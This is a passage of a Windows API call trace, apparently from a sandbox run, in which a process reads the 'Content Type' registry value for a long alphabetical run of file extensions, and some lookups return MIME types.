hKey=0x80000000, lpSubKey=".aps", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.520] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.521] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.523] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".arc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.523] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.523] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.523] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ari", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.524] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/ARI", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.524] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.524] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".arj", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.525] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.525] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.525] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".art", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.525] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.525] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.526] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".arw", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.526] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/ARW", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.526] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.526] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".asa", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.527] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.527] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.527] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".asc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.527] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.528] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.528] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ascx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.528] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.528] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.529] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".asf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.529] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/x-ms-asf", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.529] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.529] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".asm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.530] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.530] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.530] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".asmx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.530] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.530] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.531] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".asp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.531] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.531] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.531] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".aspx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.532] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.532] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.533] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".asx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.533] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/x-ms-asf", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.533] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.534] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".au", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.534] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/basic", lpcbData=0xc0006b98fc*=0x18) returned 0x0 [0182.534] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.534] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".avci", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.535] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.535] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.535] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".avcs", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.535] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.536] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.536] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".avi", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.536] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/avi", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.536] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.536] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".avif", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.538] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.538] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.538] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".avifs", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.538] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.538] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.539] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bas", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.539] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.539] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.539] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bat", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.540] VirtualAlloc (lpAddress=0xc000872000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000872000 [0182.540] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.540] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.540] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bay", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.541] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/BAY", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.541] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.541] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bcp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.542] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.542] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.542] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bin", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.542] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.542] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.543] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bkf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.543] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.543] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.543] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".blg", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.544] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.544] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.544] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bmp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.544] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/bmp", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.544] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.545] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".bsc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.545] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.545] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.545] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".c", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.546] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.546] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.546] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".c5e2524a-ea46-4f67-841f-6a9465d9d515", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.546] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.546] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.547] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cab", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.547] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.547] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.547] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".camp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.547] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.548] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.548] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cap", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.548] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/CAP", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.549] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.549] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cat", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.549] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/vnd.ms-pki.seccat", lpcbData=0xc0006b98fc*=0x3c) returned 0x0 [0182.549] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.550] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.550] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.550] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.550] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cda", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.551] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.551] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.551] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cdmp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.551] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.551] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.552] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cdx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.552] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.570] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.571] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cdxml", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.571] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.571] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.571] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cer", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.572] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-x509-ca-cert", lpcbData=0xc0006b98fc*=0x36) returned 0x0 [0182.572] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.572] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cgm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.572] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.573] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.573] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".chk", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.573] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.573] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.573] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".chm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.574] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.574] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.574] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cls", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.574] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.574] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.575] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cmd", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.575] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.575] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.575] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".cod", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.576] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.576] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.576] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".com", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.576] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.576] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.577] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".compositefont", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.577] RegQueryValueExW (in: 